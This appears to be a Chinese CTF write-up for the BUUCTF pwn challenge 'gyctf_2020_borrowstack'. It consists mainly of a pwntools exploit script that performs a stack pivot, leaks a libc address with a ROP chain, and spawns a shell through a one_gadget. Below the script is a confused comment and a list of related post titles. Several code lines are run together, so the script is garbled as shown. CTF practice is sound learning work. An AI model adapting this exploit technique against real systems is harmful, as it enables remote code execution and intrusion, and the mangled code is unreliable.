[BUUCTF-pwn]——gyctf_2020_borrowstack

exploit

from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',28602)
#p = process('./gyctf_2020_borrowstack')
elf = ELF('./gyctf_2020_borrowstack')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#gdb.attach(p, 'b *0x0000000000400676')
context.log_level = 'debug'
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
bank = 0x0000000000601080
leave_ret = 0x0000000000400699
pop_rdi = 0x0000000000400703
payload =  'a' * 0x60 + p64(bank) + p64(leave_ret)
p.recvline()
p.send(payload)
payload1 = p64(0x00000000004004c9)*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)p.sendafter('now!\n',payload1)puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success("puts_addr -----> :" + hex(puts_addr))libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
info("libc_base -----> " + hex(libc_base))
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
one_gadget=libc_base+0x4526a
payload =  'a' * 0x60 + p64(bank) + p64(one_gadget)
p.sendafter('Tell me what you want\n',payload)
#payload1 = p64(0x00000000004004c9)*20 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) + p64(main)p.sendafter('now!\n','a')
p.interactive()

啊啊啊啊啊啊啊, 为什么要加20个ret呀孩子不清楚孩子想知道。
这河里嘛,这不合理!!!

[BUUCTF-pwn]——gyctf_2020_borrowstack相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 家庭背景音乐的发展趋势
  2. cmd命令行怎样运行python_在CMD命令行中运行python脚本的方法
  3. WAMPSERVER 启动后打开LOCALHOST是一张IIS7的图片的解决
  4. qscoj:喵哈哈村的狼人杀大战(5)
  5. [转]memcached+magent实现memcached集群
  6. [置顶] Eclipse显示中文 在线安装教程
  7. linux 间传输文件的几种方法scp、sftp
  8. web操作日志丢失_分享:有赞百亿级日志系统架构设计
  9. php 三菱plc,三菱FX系列PLC编程语言概述及之间的转换关系
  10. html5 svg 实现编辑器,如何让WordPress编辑器支持内联SVG代码?
  11. 三星手机微信下载的文件路径
  12. 硬十在手,别无所求【2017.6.30版本】
  13. JSON.stringify(value [, replacer] [, space])
  14. 《哪咤学python进阶篇》之选学案例三:白桦林的故事_(Python多媒体MV)
  15. 常见编码格式(中文编码)
  16. midjourney使用方法保姆级注册教程AI绘画工具关键词
  17. acwing349 黑暗城堡 ——最短路径生成树
  18. Struts验证框架与一些技巧
  19. word标题编号消失解决
  20. 复旦计算机和中科大计算机,复旦大学和中国科学技术大学哪个实力更强?

热门文章

  1. Java WEB之Servlet学习之路(一)一个最简单的Servlet应用
  2. 文本转换成htmldocument
  3. [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
  4. Git内部原理之深入解析Git的引用和包文件
  5. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1105:数组逆序重存放
  6. 大数据WEB阶段(十一)Ajax、URL编码
  7. 【工业控制】PolyWorks培训教程-PCB字符机平行度和垂直度
  8. 【STM32】光敏传感器示例
  9. 【源码类】开源项目汇总
  10. 【cJson】JSON的基本概念